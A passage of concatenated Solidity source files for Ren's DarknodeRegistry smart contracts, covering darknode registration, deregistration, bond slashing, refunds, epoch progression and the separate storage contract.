address darknodeID = _darknodeIDs[i];
uint256 deregisteredAt = _store.darknodeDeregisteredAt(darknodeID);
bool deregistered = _isDeregistered(deregisteredAt, _currentEpoch);
require(
_isRefundable(
deregistered,
deregisteredAt,
_previousEpoch,
_deregistrationInterval
),
"DarknodeRegistry: must be deregistered for at least one epoch"
);
require(
_store.darknodeOperator(darknodeID) == msg.sender,
"DarknodeRegistry: must be darknode owner"
);
// Remember the bond amount
uint256 amount = _store.darknodeBond(darknodeID);
// Erase the darknode from the registry
_store.removeDarknode(darknodeID);
// Emit an event
emit LogDarknodeRefunded(msg.sender, darknodeID, amount);
// Increment the sum of bonds to be transferred
sum = sum.add(amount);
}
// Transfer all bonds together
require(
ren.transfer(msg.sender, sum),
"DarknodeRegistry: bond transfers failed"
);
}
/// @notice Retrieves the address of the account that registered a darknode.
/// @param _darknodeID The ID of the darknode to retrieve the owner for.
function getDarknodeOperator(address _darknodeID)
external
view
returns (address payable)
{
return store.darknodeOperator(_darknodeID);
}
/// @notice Retrieves the bond amount of a darknode in 10^-18 REN.
/// @param _darknodeID The ID of the darknode to retrieve the bond for.
function getDarknodeBond(address _darknodeID)
external
view
returns (uint256)
{
return store.darknodeBond(_darknodeID);
}
/// @notice Retrieves the encryption public key of the darknode.
/// @param _darknodeID The ID of the darknode to retrieve the public key for.
function getDarknodePublicKey(address _darknodeID)
external
view
returns (bytes memory)
{
return store.darknodePublicKey(_darknodeID);
}
/// @notice Retrieves a list of darknodes which are registered for the
/// current epoch.
/// @param _start A darknode ID used as an offset for the list. If _start is
/// 0x0, the first dark node will be used. _start won't be
/// included it is not registered for the epoch.
/// @param _count The number of darknodes to retrieve starting from _start.
/// If _count is 0, all of the darknodes from _start are
/// retrieved. If _count is more than the remaining number of
/// registered darknodes, the rest of the list will contain
/// 0x0s.
function getDarknodes(address _start, uint256 _count)
external
view
returns (address[] memory)
{
uint256 count = _count;
if (count == 0) {
count = numDarknodes;
}
return getDarknodesFromEpochs(_start, count, false);
}
/// @notice Retrieves a list of darknodes which were registered for the
/// previous epoch. See `getDarknodes` for the parameter documentation.
function getPreviousDarknodes(address _start, uint256 _count)
external
view
returns (address[] memory)
{
uint256 count = _count;
if (count == 0) {
count = numDarknodesPreviousEpoch;
}
return getDarknodesFromEpochs(_start, count, true);
}
/// @notice Returns whether a darknode is scheduled to become registered
/// at next epoch.
/// @param _darknodeID The ID of the darknode to return.
function isPendingRegistration(address _darknodeID)
public
view
returns (bool)
{
uint256 registeredAt = store.darknodeRegisteredAt(_darknodeID);
return registeredAt != 0 && registeredAt > currentEpoch.blocktime;
}
/// @notice Returns if a darknode is in the pending deregistered state. In
/// this state a darknode is still considered registered.
function isPendingDeregistration(address _darknodeID)
public
view
returns (bool)
{
uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID);
return deregisteredAt != 0 && deregisteredAt > currentEpoch.blocktime;
}
/// @notice Returns if a darknode is in the deregistered state.
function isDeregistered(address _darknodeID) public view returns (bool) {
uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID);
return _isDeregistered(deregisteredAt, currentEpoch);
}
/// @notice Returns if a darknode can be deregistered. This is true if the
/// darknodes is in the registered state and has not attempted to
/// deregister yet.
function isDeregisterable(address _darknodeID) public view returns (bool) {
DarknodeRegistryStore _store = store;
uint256 deregisteredAt = _store.darknodeDeregisteredAt(_darknodeID);
bool registered = isRegisteredInEpoch(
_store.darknodeRegisteredAt(_darknodeID),
deregisteredAt,
currentEpoch
);
return _isDeregisterable(registered, deregisteredAt);
}
/// @notice Returns if a darknode is in the refunded state. This is true
/// for darknodes that have never been registered, or darknodes that have
/// been deregistered and refunded.
function isRefunded(address _darknodeID) public view returns (bool) {
DarknodeRegistryStore _store = store;
uint256 registeredAt = _store.darknodeRegisteredAt(_darknodeID);
uint256 deregisteredAt = _store.darknodeDeregisteredAt(_darknodeID);
return _isRefunded(registeredAt, deregisteredAt);
}
/// @notice Returns if a darknode is refundable. This is true for darknodes
/// that have been in the deregistered state for one full epoch.
function isRefundable(address _darknodeID) public view returns (bool) {
uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID);
bool deregistered = _isDeregistered(deregisteredAt, currentEpoch);
return
_isRefundable(
deregistered,
deregisteredAt,
previousEpoch,
deregistrationInterval
);
}
/// @notice Returns the registration time of a given darknode.
function darknodeRegisteredAt(address darknodeID)
external
view
returns (uint256)
{
return store.darknodeRegisteredAt(darknodeID);
}
/// @notice Returns the deregistration time of a given darknode.
function darknodeDeregisteredAt(address darknodeID)
external
view
returns (uint256)
{
return store.darknodeDeregisteredAt(darknodeID);
}
/// @notice Returns if a darknode is in the registered state.
function isRegistered(address _darknodeID) public view returns (bool) {
DarknodeRegistryStore _store = store;
uint256 registeredAt = _store.darknodeRegisteredAt(_darknodeID);
uint256 deregisteredAt = _store.darknodeDeregisteredAt(_darknodeID);
return isRegisteredInEpoch(registeredAt, deregisteredAt, currentEpoch);
}
/// @notice Returns if a darknode was in the registered state last epoch.
function isRegisteredInPreviousEpoch(address _darknodeID)
public
view
returns (bool)
{
DarknodeRegistryStore _store = store;
uint256 registeredAt = _store.darknodeRegisteredAt(_darknodeID);
uint256 deregisteredAt = _store.darknodeDeregisteredAt(_darknodeID);
return isRegisteredInEpoch(registeredAt, deregisteredAt, previousEpoch);
}
/// @notice Returns the darknodes registered by the provided operator.
/// @dev THIS IS AN EXPENSIVE CALL - this should only called when using
/// eth_call contract reads - not in transactions.
function getOperatorDarknodes(address _operator)
external
view
returns (address[] memory)
{
address[] memory nodesPadded = new address[](numDarknodes);
address[] memory allNodes = getDarknodesFromEpochs(
address(0),
numDarknodes,
false
);
uint256 j = 0;
for (uint256 i = 0; i < allNodes.length; i++) {
if (store.darknodeOperator(allNodes[i]) == _operator) {
nodesPadded[j] = (allNodes[i]);
j++;
}
}
address[] memory nodes = new address[](j);
for (uint256 i = 0; i < j; i++) {
nodes[i] = nodesPadded[i];
}
return nodes;
}
/// @notice Returns if a darknode was in the registered state for a given
/// epoch.
/// @param _epoch One of currentEpoch, previousEpoch.
function isRegisteredInEpoch(
uint256 _registeredAt,
uint256 _deregisteredAt,
Epoch memory _epoch
) private pure returns (bool) {
bool registered = _registeredAt != 0 &&
_registeredAt <= _epoch.blocktime;
bool notDeregistered = _deregisteredAt == 0 ||
_deregisteredAt > _epoch.blocktime;
// The Darknode has been registered and has not yet been deregistered,
// although it might be pending deregistration
return registered && notDeregistered;
}
/// Private function called by `isDeregistered`, `isRefundable`, and `refundMultiple`.
function _isDeregistered(
uint256 _deregisteredAt,
Epoch memory _currentEpoch
) private pure returns (bool) {
return
_deregisteredAt != 0 && _deregisteredAt <= _currentEpoch.blocktime;
}
/// Private function called by `isDeregisterable` and `deregisterMultiple`.
function _isDeregisterable(bool _registered, uint256 _deregisteredAt)
private
pure
returns (bool)
{
// The Darknode is currently in the registered state and has not been
// transitioned to the pending deregistration, or deregistered, state
return _registered && _deregisteredAt == 0;
}
/// Private function called by `isRefunded` and `registerMultiple`.
function _isRefunded(uint256 registeredAt, uint256 deregisteredAt)
private
pure
returns (bool)
{
return registeredAt == 0 && deregisteredAt == 0;
}
/// Private function called by `isRefundable` and `refundMultiple`.
function _isRefundable(
bool _deregistered,
uint256 _deregisteredAt,
Epoch memory _previousEpoch,
uint256 _deregistrationInterval
) private pure returns (bool) {
return
_deregistered &&
_deregisteredAt <=
(_previousEpoch.blocktime - _deregistrationInterval);
}
/// @notice Returns a list of darknodes registered for either the current
/// or the previous epoch. See `getDarknodes` for documentation on the
/// parameters `_start` and `_count`.
/// @param _usePreviousEpoch If true, use the previous epoch, otherwise use
/// the current epoch.
function getDarknodesFromEpochs(
address _start,
uint256 _count,
bool _usePreviousEpoch
) private view returns (address[] memory) {
uint256 count = _count;
if (count == 0) {
count = numDarknodes;
}
address[] memory nodes = new address[](count);
// Begin with the first node in the list
uint256 n = 0;
address next = _start;
if (next == address(0)) {
next = store.begin();
}
// Iterate until all registered Darknodes have been collected
while (n < count) {
if (next == address(0)) {
break;
}
// Only include Darknodes that are currently registered
bool includeNext;
if (_usePreviousEpoch) {
includeNext = isRegisteredInPreviousEpoch(next);
} else {
includeNext = isRegistered(next);
}
if (!includeNext) {
next = store.next(next);
continue;
}
nodes[n] = next;
next = store.next(next);
n += 1;
}
return nodes;
}
/// Private function called by `deregister` and `slash`
function deregisterDarknode(address _darknodeID) private {
address darknodeOperator = store.darknodeOperator(_darknodeID);
// Flag the darknode for deregistration
store.updateDarknodeDeregisteredAt(
_darknodeID,
currentEpoch.blocktime.add(minimumEpochInterval)
);
numDarknodesNextEpoch = numDarknodesNextEpoch.sub(1);
// Emit an event
emit LogDarknodeDeregistered(darknodeOperator, _darknodeID);
}
function getDarknodeCountFromEpochs()
private
view
returns (
uint256,
uint256,
uint256
)
{
// Begin with the first node in the list
uint256 nPreviousEpoch = 0;
uint256 nCurrentEpoch = 0;
uint256 nNextEpoch = 0;
address next = store.begin();
// Iterate until all registered Darknodes have been collected
while (true) {
// End of darknode list.
if (next == address(0)) {
break;
}
if (isRegisteredInPreviousEpoch(next)) {
nPreviousEpoch += 1;
}
if (isRegistered(next)) {
nCurrentEpoch += 1;
}
// Darknode is registered and has not deregistered, or is pending
// becoming registered.
if (
((isRegistered(next) && !isPendingDeregistration(next)) ||
isPendingRegistration(next))
) {
nNextEpoch += 1;
}
next = store.next(next);
}
return (nPreviousEpoch, nCurrentEpoch, nNextEpoch);
}
}
/* solium-disable-next-line no-empty-blocks */
contract DarknodeRegistryProxy is InitializableAdminUpgradeabilityProxy {
}
pragma solidity 0.5.17;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
import "../Governance/Claimable.sol";
import "../libraries/LinkedList.sol";
import "../RenToken/RenToken.sol";
import "../libraries/CanReclaimTokens.sol";
/// @notice This contract stores data and funds for the DarknodeRegistry
/// contract. The data / fund logic and storage have been separated to improve
/// upgradability.
contract DarknodeRegistryStore is Claimable, CanReclaimTokens {
using SafeMath for uint256;
string public VERSION; // Passed in as a constructor parameter.
/// @notice Darknodes are stored in the darknode struct. The owner is the
/// address that registered the darknode, the bond is the amount of REN that
/// was transferred during registration, and the public key is the
/// encryption key that should be used when sending sensitive information to
/// the darknode.
struct Darknode {
// The owner of a Darknode is the address that called the register
// function. The owner is the only address that is allowed to
// deregister the Darknode, unless the Darknode is slashed for
// malicious behavior.
address payable owner;
// The bond is the amount of REN submitted as a bond by the Darknode.
// This amount is reduced when the Darknode is slashed for malicious
// behavior.
uint256 bond;
// The block number at which the Darknode is considered registered.
uint256 registeredAt;
// The block number at which the Darknode is considered deregistered.
uint256 deregisteredAt;
// The public key used by this Darknode for encrypting sensitive data
// off chain. It is assumed that the Darknode has access to the
// respective private key, and that there is an agreement on the format
// of the public key.
bytes publicKey;
}
/// Registry data.
mapping(address => Darknode) private darknodeRegistry;
LinkedList.List private darknodes;
// RenToken.
RenToken public ren;
/// @notice The contract constructor.
///
/// @param _VERSION A string defining the contract version.
/// @param _ren The address of the RenToken contract.
constructor(string memory _VERSION, RenToken _ren) public {
Claimable.initialize(msg.sender);
CanReclaimTokens.initialize(msg.sender);
VERSION = _VERSION;
ren = _ren;
blacklistRecoverableToken(address(ren));
}
/// @notice Instantiates a darknode and appends it to the darknodes
/// linked-list.
///
/// @param _darknodeID The darknode's ID.
/// @param _darknodeOperator The darknode's owner's address.
/// @param _bond The darknode's bond value.
/// @param _publicKey The darknode's public key.
/// @param _registeredAt The time stamp when the darknode is registered.
/// @param _deregisteredAt The time stamp when the darknode is deregistered.
function appendDarknode(
address _darknodeID,
address payable _darknodeOperator,
uint256 _bond,
bytes calldata _publicKey,
uint256 _registeredAt,
uint256 _deregisteredAt
) external onlyOwner {
Darknode memory darknode =
Darknode({
owner: _darknodeOperator,
bond: _bond,
publicKey: _publicKey,
registeredAt: _registeredAt,
deregisteredAt: _deregisteredAt
});
darknodeRegistry[_darknodeID] = darknode;
LinkedList.append(darknodes, _darknodeID);
}
/// @notice Returns the address of the first darknode in the store.
function begin() external view onlyOwner returns (address) {
return LinkedList.begin(darknodes);
}
/// @notice Returns the address of the next darknode in the store after the
/// given address.
function next(address darknodeID)
external
view
onlyOwner
returns (address)
{
return LinkedList.next(darknodes, darknodeID);
}
/// @notice Removes a darknode from the store and transfers its bond to the
/// owner of this contract.
function removeDarknode(address darknodeID) external onlyOwner {
uint256 bond = darknodeRegistry[darknodeID].bond;
delete darknodeRegistry[darknodeID];
LinkedList.remove(darknodes, darknodeID);
require(
ren.transfer(owner(), bond),
"DarknodeRegistryStore: bond transfer failed"
);
}
/// @notice Updates the bond of a darknode. The new bond must be smaller
/// than the previous bond of the darknode.
function updateDarknodeBond(address darknodeID, uint256 decreasedBond)
external
onlyOwner
{
uint256 previousBond = darknodeRegistry[darknodeID].bond;
require(
decreasedBond < previousBond,
"DarknodeRegistryStore: bond not decreased"
);
darknodeRegistry[darknodeID].bond = decreasedBond;
require(
ren.transfer(owner(), previousBond.sub(decreasedBond)),
"DarknodeRegistryStore: bond transfer failed"
);
}
/// @notice Updates the deregistration timestamp of a darknode.
function updateDarknodeDeregisteredAt(
address darknodeID,
uint256 deregisteredAt
) external onlyOwner {
darknodeRegistry[darknodeID].deregisteredAt = deregisteredAt;
}
/// @notice Returns the owner of a given darknode.
function darknodeOperator(address darknodeID)
external
view
onlyOwner
returns (address payable)
{
return darknodeRegistry[darknodeID].owner;
}
/// @notice Returns the bond of a given darknode.
function darknodeBond(address darknodeID)
external
view
onlyOwner
returns (uint256)
{
return darknodeRegistry[darknodeID].bond;
}
/// @notice Returns the registration time of a given darknode.
function darknodeRegisteredAt(address darknodeID)
external
view
onlyOwner
returns (uint256)
{
return darknodeRegistry[darknodeID].registeredAt;
}
/// @notice Returns the deregistration time of a given darknode.
function darknodeDeregisteredAt(address darknodeID)
external
view
onlyOwner
returns (uint256)
{
return darknodeRegistry[darknodeID].deregisteredAt;
}
/// @notice Returns the encryption public key of a given darknode.
function darknodePublicKey(address darknodeID)
external
view
onlyOwner
returns (bytes memory)
{
return darknodeRegistry[darknodeID].publicKey;
}
}
pragma solidity 0.5.17;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
import "@openzeppelin/upgrades/contracts/upgradeability/InitializableAdminUpgradeabilityProxy.sol";
import "@openzeppelin/upgrades/contracts/Initializable.sol";
import "../RenToken/RenToken.sol";
import "./DarknodeRegistryStore.sol";
import "../Governance/Claimable.sol";
import "../libraries/CanReclaimTokens.sol";
interface IDarknodePaymentStore {}
interface IDarknodePayment {
function changeCycle() external returns (uint256);
function store() external view returns (IDarknodePaymentStore);
}
interface IDarknodeSlasher {}
contract DarknodeRegistryStateV1 {
using SafeMath for uint256;
string public VERSION; // Passed in as a constructor parameter.
/// @notice Darknode pods are shuffled after a fixed number of blocks.
/// An Epoch stores an epoch hash used as an (insecure) RNG seed, and the
/// blocknumber which restricts when the next epoch can be called.
struct Epoch {
uint256 epochhash;
uint256 blocktime;
}
uint256 public numDarknodes;
uint256 public numDarknodesNextEpoch;
uint256 public numDarknodesPreviousEpoch;
/// Variables used to parameterize behavior.
uint256 public minimumBond;
uint256 public minimumPodSize;
uint256 public minimumEpochInterval;
uint256 public deregistrationInterval;
/// When one of the above variables is modified, it is only updated when the
/// next epoch is called. These variables store the values for the next
/// epoch.
uint256 public nextMinimumBond;
uint256 public nextMinimumPodSize;
uint256 public nextMinimumEpochInterval;
/// The current and previous epoch.
Epoch public currentEpoch;
Epoch public previousEpoch;
/// REN ERC20 contract used to transfer bonds.
RenToken public ren;
/// Darknode Registry Store is the storage contract for darknodes.
DarknodeRegistryStore public store;
/// The Darknode Payment contract for changing cycle.
IDarknodePayment public darknodePayment;
/// Darknode Slasher allows darknodes to vote on bond slashing.
IDarknodeSlasher public slasher;
IDarknodeSlasher public nextSlasher;
}
/// @notice DarknodeRegistry is responsible for the registration and
/// deregistration of Darknodes.
contract DarknodeRegistryLogicV1 is
Claimable,
CanReclaimTokens,
DarknodeRegistryStateV1
{
/// @notice Emitted when a darknode is registered.
/// @param _darknodeOperator The owner of the darknode.
/// @param _darknodeID The ID of the darknode that was registered.
/// @param _bond The amount of REN that was transferred as bond.
event LogDarknodeRegistered(
address indexed _darknodeOperator,
address indexed _darknodeID,
uint256 _bond
);
/// @notice Emitted when a darknode is deregistered.
/// @param _darknodeOperator The owner of the darknode.
/// @param _darknodeID The ID of the darknode that was deregistered.
event LogDarknodeDeregistered(
address indexed _darknodeOperator,
address indexed _darknodeID
);
/// @notice Emitted when a refund has been made.
/// @param _darknodeOperator The owner of the darknode.
/// @param _amount The amount of REN that was refunded.
event LogDarknodeRefunded(
address indexed _darknodeOperator,
address indexed _darknodeID,
uint256 _amount
);
/// @notice Emitted when a darknode's bond is slashed.
/// @param _darknodeOperator The owner of the darknode.
/// @param _darknodeID The ID of the darknode that was slashed.
/// @param _challenger The address of the account that submitted the challenge.
/// @param _percentage The total percentage of bond slashed.
event LogDarknodeSlashed(
address indexed _darknodeOperator,
address indexed _darknodeID,
address indexed _challenger,
uint256 _percentage
);
/// @notice Emitted when a new epoch has begun.
event LogNewEpoch(uint256 indexed epochhash);
/// @notice Emitted when a constructor parameter has been updated.
event LogMinimumBondUpdated(
uint256 _previousMinimumBond,
uint256 _nextMinimumBond
);
event LogMinimumPodSizeUpdated(
uint256 _previousMinimumPodSize,
uint256 _nextMinimumPodSize
);
event LogMinimumEpochIntervalUpdated(
uint256 _previousMinimumEpochInterval,
uint256 _nextMinimumEpochInterval
);
event LogSlasherUpdated(
address indexed _previousSlasher,
address indexed _nextSlasher
);
event LogDarknodePaymentUpdated(
IDarknodePayment indexed _previousDarknodePayment,
IDarknodePayment indexed _nextDarknodePayment
);
/// @notice Restrict a function to the owner that registered the darknode.
modifier onlyDarknodeOperator(address _darknodeID) {
require(
store.darknodeOperator(_darknodeID) == msg.sender,
"DarknodeRegistry: must be darknode owner"
);
_;
}
/// @notice Restrict a function to unregistered darknodes.
modifier onlyRefunded(address _darknodeID) {
require(
isRefunded(_darknodeID),
"DarknodeRegistry: must be refunded or never registered"
);
_;
}
/// @notice Restrict a function to refundable darknodes.
modifier onlyRefundable(address _darknodeID) {
require(
isRefundable(_darknodeID),
"DarknodeRegistry: must be deregistered for at least one epoch"
);
_;
}
/// @notice Restrict a function to registered nodes without a pending
/// deregistration.
modifier onlyDeregisterable(address _darknodeID) {
require(
isDeregisterable(_darknodeID),
"DarknodeRegistry: must be deregisterable"
);
_;
}
/// @notice Restrict a function to the Slasher contract.
modifier onlySlasher() {
require(
address(slasher) == msg.sender,
"DarknodeRegistry: must be slasher"
);
_;
}
/// @notice Restrict a function to registered nodes without a pending
/// deregistration.
modifier onlyDarknode(address _darknodeID) {
require(
isRegistered(_darknodeID),
"DarknodeRegistry: invalid darknode"
);
_;
}
/// @notice The contract constructor.
///
/// @param _VERSION A string defining the contract version.
/// @param _renAddress The address of the RenToken contract.
/// @param _storeAddress The address of the DarknodeRegistryStore contract.
/// @param _minimumBond The minimum bond amount that can be submitted by a
/// Darknode.
/// @param _minimumPodSize The minimum size of a Darknode pod.
/// @param _minimumEpochIntervalSeconds The minimum number of seconds between epochs.
function initialize(
string memory _VERSION,
RenToken _renAddress,
DarknodeRegistryStore _storeAddress,
uint256 _minimumBond,
uint256 _minimumPodSize,
uint256 _minimumEpochIntervalSeconds,
uint256 _deregistrationIntervalSeconds
) public initializer {
Claimable.initialize(msg.sender);
CanReclaimTokens.initialize(msg.sender);
VERSION = _VERSION;
store = _storeAddress;
ren = _renAddress;
minimumBond = _minimumBond;
nextMinimumBond = minimumBond;
minimumPodSize = _minimumPodSize;
nextMinimumPodSize = minimumPodSize;
minimumEpochInterval = _minimumEpochIntervalSeconds;
nextMinimumEpochInterval = minimumEpochInterval;
deregistrationInterval = _deregistrationIntervalSeconds;
uint256 epochhash = uint256(blockhash(block.number - 1));
currentEpoch = Epoch({
epochhash: epochhash,
blocktime: block.timestamp
});
emit LogNewEpoch(epochhash);
}
/// @notice Register a darknode and transfer the bond to this contract.
/// Before registering, the bond transfer must be approved in the REN
/// contract. The caller must provide a public encryption key for the
/// darknode. The darknode will remain pending registration until the next
/// epoch. Only after this period can the darknode be deregistered. The
/// caller of this method will be stored as the owner of the darknode.
///
/// @param _darknodeID The darknode ID that will be registered.
/// @param _publicKey The public key of the darknode. It is stored to allow
/// other darknodes and traders to encrypt messages to the trader.
function register(address _darknodeID, bytes calldata _publicKey)
external
onlyRefunded(_darknodeID)
{
require(
_darknodeID != address(0),
"DarknodeRegistry: darknode address cannot be zero"
);
// Use the current minimum bond as the darknode's bond and transfer bond to store
require(
ren.transferFrom(msg.sender, address(store), minimumBond),
"DarknodeRegistry: bond transfer failed"
);
// Flag this darknode for registration
store.appendDarknode(
_darknodeID,
msg.sender,
minimumBond,
_publicKey,
currentEpoch.blocktime.add(minimumEpochInterval),
0
);
numDarknodesNextEpoch = numDarknodesNextEpoch.add(1);
// Emit an event.
emit LogDarknodeRegistered(msg.sender, _darknodeID, minimumBond);
}
/// @notice Deregister a darknode. The darknode will not be deregistered
/// until the end of the epoch. After another epoch, the bond can be
/// refunded by calling the refund method.
/// @param _darknodeID The darknode ID that will be deregistered. The caller
/// of this method must be the owner of this darknode.
function deregister(address _darknodeID)
external
onlyDeregisterable(_darknodeID)
onlyDarknodeOperator(_darknodeID)
{
deregisterDarknode(_darknodeID);
}
/// @notice Progress the epoch if it is possible to do so. This captures
/// the current timestamp and current blockhash and overrides the current
/// epoch.
function epoch() external {
if (previousEpoch.blocktime == 0) {
// The first epoch must be called by the owner of the contract
require(
msg.sender == owner(),
"DarknodeRegistry: not authorized to call first epoch"
);
}
// Require that the epoch interval has passed
require(
block.timestamp >= currentEpoch.blocktime.add(minimumEpochInterval),
"DarknodeRegistry: epoch interval has not passed"
);
uint256 epochhash = uint256(blockhash(block.number - 1));
// Update the epoch hash and timestamp
previousEpoch = currentEpoch;
currentEpoch = Epoch({
epochhash: epochhash,
blocktime: block.timestamp
});
// Update the registry information
numDarknodesPreviousEpoch = numDarknodes;
numDarknodes = numDarknodesNextEpoch;
// If any update functions have been called, update the values now
if (nextMinimumBond != minimumBond) {
minimumBond = nextMinimumBond;
emit LogMinimumBondUpdated(minimumBond, nextMinimumBond);
}
if (nextMinimumPodSize != minimumPodSize) {
minimumPodSize = nextMinimumPodSize;
emit LogMinimumPodSizeUpdated(minimumPodSize, nextMinimumPodSize);
}
if (nextMinimumEpochInterval != minimumEpochInterval) {
minimumEpochInterval = nextMinimumEpochInterval;
emit LogMinimumEpochIntervalUpdated(
minimumEpochInterval,
nextMinimumEpochInterval
);
}
if (nextSlasher != slasher) {
slasher = nextSlasher;
emit LogSlasherUpdated(address(slasher), address(nextSlasher));
}
if (address(darknodePayment) != address(0x0)) {
darknodePayment.changeCycle();
}
// Emit an event
emit LogNewEpoch(epochhash);
}
/// @notice Allows the contract owner to initiate an ownership transfer of
/// the DarknodeRegistryStore.
/// @param _newOwner The address to transfer the ownership to.
function transferStoreOwnership(DarknodeRegistryLogicV1 _newOwner)
external
onlyOwner
{
store.transferOwnership(address(_newOwner));
_newOwner.claimStoreOwnership();
}
/// @notice Claims ownership of the store passed in to the constructor.
/// `transferStoreOwnership` must have previously been called when
/// transferring from another Darknode Registry.
function claimStoreOwnership() external {
store.claimOwnership();
// Sync state with new store.
// Note: numDarknodesPreviousEpoch is set to 0 for a newly deployed DNR.
(
numDarknodesPreviousEpoch,
numDarknodes,
numDarknodesNextEpoch
) = getDarknodeCountFromEpochs();
}
/// @notice Allows the contract owner to update the address of the
/// darknode payment contract.
/// @param _darknodePayment The address of the Darknode Payment
/// contract.
function updateDarknodePayment(IDarknodePayment _darknodePayment)
external
onlyOwner
{
require(
address(_darknodePayment) != address(0x0),
"DarknodeRegistry: invalid Darknode Payment address"
);
IDarknodePayment previousDarknodePayment = darknodePayment;
darknodePayment = _darknodePayment;
emit LogDarknodePaymentUpdated(
previousDarknodePayment,
darknodePayment
);
}
/// @notice Allows the contract owner to update the minimum bond.
/// @param _nextMinimumBond The minimum bond amount that can be submitted by
/// a darknode.
function updateMinimumBond(uint256 _nextMinimumBond) external onlyOwner {
// Will be updated next epoch
nextMinimumBond = _nextMinimumBond;
}
/// @notice Allows the contract owner to update the minimum pod size.
/// @param _nextMinimumPodSize The minimum size of a pod.
function updateMinimumPodSize(uint256 _nextMinimumPodSize)
external
onlyOwner
{
// Will be updated next epoch
nextMinimumPodSize = _nextMinimumPodSize;
}
/// @notice Allows the contract owner to update the minimum epoch interval.
/// @param _nextMinimumEpochInterval The minimum number of blocks between epochs.
function updateMinimumEpochInterval(uint256 _nextMinimumEpochInterval)
external
onlyOwner
{
// Will be updated next epoch
nextMinimumEpochInterval = _nextMinimumEpochInterval;
}
/// @notice Allow the contract owner to update the DarknodeSlasher contract
/// address.
/// @param _slasher The new slasher address.
function updateSlasher(IDarknodeSlasher _slasher) external onlyOwner {
require(
address(_slasher) != address(0),
"DarknodeRegistry: invalid slasher address"
);
nextSlasher = _slasher;
}
/// @notice Allow the DarknodeSlasher contract to slash a portion of darknode's
/// bond and deregister it.
/// @param _guilty The guilty prover whose bond is being slashed.
/// @param _challenger The challenger who should receive a portion of the bond as reward.
/// @param _percentage The total percentage of bond to be slashed.
function slash(
address _guilty,
address _challenger,
uint256 _percentage
) external onlySlasher onlyDarknode(_guilty) {
require(_percentage <= 100, "DarknodeRegistry: invalid percent");
// If the darknode has not been deregistered then deregister it
if (isDeregisterable(_guilty)) {
deregisterDarknode(_guilty);
}
uint256 totalBond = store.darknodeBond(_guilty);
uint256 penalty = totalBond.div(100).mul(_percentage);
uint256 challengerReward = penalty.div(2);
uint256 darknodePaymentReward = penalty.sub(challengerReward);
if (challengerReward > 0) {
// Slash the bond of the failed prover
store.updateDarknodeBond(_guilty, totalBond.sub(penalty));
// Distribute the remaining bond into the darknode payment reward pool
require(
address(darknodePayment) != address(0x0),
"DarknodeRegistry: invalid payment address"
);
require(
ren.transfer(
address(darknodePayment.store()),
darknodePaymentReward
),
"DarknodeRegistry: reward transfer failed"
);
require(
ren.transfer(_challenger, challengerReward),
"DarknodeRegistry: reward transfer failed"
);
}
emit LogDarknodeSlashed(
store.darknodeOperator(_guilty),
_guilty,
_challenger,
_percentage
);
}
/// @notice Refund the bond of a deregistered darknode. This will make the
/// darknode available for registration again. Anyone can call this function
/// but the bond will always be refunded to the darknode operator.
///
/// @param _darknodeID The darknode ID that will be refunded.
function refund(address _darknodeID) external onlyRefundable(_darknodeID) {
address darknodeOperator = store.darknodeOperator(_darknodeID);
// Remember the bond amount
uint256 amount = store.darknodeBond(_darknodeID);
// Erase the darknode from the registry
store.removeDarknode(_darknodeID);
// Refund the operator by transferring REN
require(
ren.transfer(darknodeOperator, amount),
"DarknodeRegistry: bond transfer failed"
);
// Emit an event.
emit LogDarknodeRefunded(darknodeOperator, _darknodeID, amount);
}
/// @notice Retrieves the address of the account that registered a darknode.
/// @param _darknodeID The ID of the darknode to retrieve the owner for.
function getDarknodeOperator(address _darknodeID)
external
view
returns (address payable)
{
return store.darknodeOperator(_darknodeID);
}
/// @notice Retrieves the bond amount of a darknode in 10^-18 REN.
/// @param _darknodeID The ID of the darknode to retrieve the bond for.
function getDarknodeBond(address _darknodeID)
external
view
returns (uint256)
{
return store.darknodeBond(_darknodeID);
}
/// @notice Retrieves the encryption public key of the darknode.
/// @param _darknodeID The ID of the darknode to retrieve the public key for.
function getDarknodePublicKey(address _darknodeID)
external
view
returns (bytes memory)
{
return store.darknodePublicKey(_darknodeID);
}
/// @notice Retrieves a list of darknodes which are registered for the
/// current epoch.
/// @param _start A darknode ID used as an offset for the list. If _start is
/// 0x0, the first dark node will be used. _start won't be
/// included it is not registered for the epoch.
/// @param _count The number of darknodes to retrieve starting from _start.
/// If _count is 0, all of the darknodes from _start are
/// retrieved. If _count is more than the remaining number of
/// registered darknodes, the rest of the list will contain
/// 0x0s.
function getDarknodes(address _start, uint256 _count)
external
view
returns (address[] memory)
{
uint256 count = _count;
if (count == 0) {
count = numDarknodes;
}
return getDarknodesFromEpochs(_start, count, false);
}
/// @notice Retrieves a list of darknodes which were registered for the
/// previous epoch. See `getDarknodes` for the parameter documentation.
function getPreviousDarknodes(address _start, uint256 _count)
external
view
returns (address[] memory)
{
uint256 count = _count;
if (count == 0) {
count = numDarknodesPreviousEpoch;
}
return getDarknodesFromEpochs(_start, count, true);
}
/// @notice Returns whether a darknode is scheduled to become registered
/// at next epoch.
/// @param _darknodeID The ID of the darknode to return.
function isPendingRegistration(address _darknodeID)
public
view
returns (bool)
{
uint256 registeredAt = store.darknodeRegisteredAt(_darknodeID);
return registeredAt != 0 && registeredAt > currentEpoch.blocktime;
}
/// @notice Returns if a darknode is in the pending deregistered state. In
/// this state a darknode is still considered registered.
function isPendingDeregistration(address _darknodeID)
public
view
returns (bool)
{
uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID);
return deregisteredAt != 0 && deregisteredAt > currentEpoch.blocktime;
}
/// @notice Returns if a darknode is in the deregistered state.
function isDeregistered(address _darknodeID) public view returns (bool) {
uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID);
return deregisteredAt != 0 && deregisteredAt <= currentEpoch.blocktime;
}
/// @notice Returns if a darknode can be deregistered. This is true if the
/// darknodes is in the registered state and has not attempted to
/// deregister yet.
function isDeregisterable(address _darknodeID) public view returns (bool) {
uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID);
// The Darknode is currently in the registered state and has not been
// transitioned to the pending deregistration, or deregistered, state
return isRegistered(_darknodeID) && deregisteredAt == 0;
}
/// @notice Returns if a darknode is in the refunded state. This is true
